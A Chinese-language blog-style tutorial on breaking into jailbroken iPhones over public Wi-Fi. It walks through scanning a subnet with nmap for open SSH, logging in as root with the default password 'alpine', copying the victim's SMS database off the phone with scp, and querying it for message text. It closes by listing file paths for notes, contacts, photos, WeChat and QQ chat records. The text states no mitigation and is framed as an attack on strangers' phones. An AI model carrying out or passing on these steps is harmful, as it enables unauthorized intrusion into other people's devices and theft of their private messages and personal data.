利用ssh入侵越狱Iphone的方法

本文针对那些已越狱却不注意信息安全的人们，未经许可，严禁转载。

 ssh是一个远程登录协议，建立在应用层和传输层的基础上，如果你的手机或电脑安装并开放了ssh, 而其他人得知了账号密码，那么只要主机在线的情况下，别人可以随时登录你的手机或电脑，拥有最高权限。

本文以如何获得手机短信为例.....

1. 在公共场合里，若有wifi开放，那么所有连上wifi的人都是处于一个局域网内的，ssh的端口号为22，因此首先需要查看所有连wifi的主机，哪些安装ssh并开放了22端口（一般越狱会默认安装了此服务）。

根据自己手机获取局域网段，以网段192.168.1.*为例：

     Linux下:     nmap -p22 192.168.1.*
 

以下结果即为192.168.1.154开放了ssh（STATE  为open）
 

Nmap scan report for bogon (192.168.1.154)

Host is up (0.050s latency).

PORT   STATE SERVICE

22/tcp open  ssh

 

2. 找到开放了的后，就是登录了，iphone 默认的ssh 密码为alpine（90%的越狱用户不会修改）

登录命令  ： sudo  ssh 192.168.1.154
然后会提示输出密码，输入 alpine  若成功登录，只要第一步成功 ，第二步成功率在80%往上。。 

3.因为我们要拿到短信数据 ，短信数据库位置为 /var/root/Library/SMS/sms.db

scp root@192.168.1.154: /var/root/Library/SMS/sms.db    ~/
sms.db即为短信的数据库， 而上面的命令便将对方手机的短信数据库copy到了本地。

接下来便是解析数据库文件了

4. 安装firefox浏览器，安装sqlite manager 插件

5.将sms.db 改名为sms.sqlite 并用sqlite manager 打开

6. sms.db 以handle表来保存手机号，message来保存信息，chat_message_join来保存关联的
查询语句为：
select id ,text from chat_message_join, handle,message

where handle.rowid=chat_message_join.chat_id and

message.rowid=chat_message_join.message_id

7.展现在你眼前的，便是短信记录... 

 

注：现在iphone手机的各个数据库的位置及字段跟以往稍有不同。

后记： 常用的信息数据库位置

记事本数据库 ：/ var/root/Library/Notes/notes.db   
 通讯录数据库： /var/root/Library/AddressBook/AddressBook.sqlitedb
照片： /var/mobie/Media/DCIM/ 
微信聊天记录：/var/mobile/Applications/E832764E-2AB7-4DD0-B52C-46AED7936220/documents/MM.db  (我的手机是这，其他手机大同小异)      
qq记录： /var/mobile/Applications/QQ/Documents/contents/QQ号码/QQ.db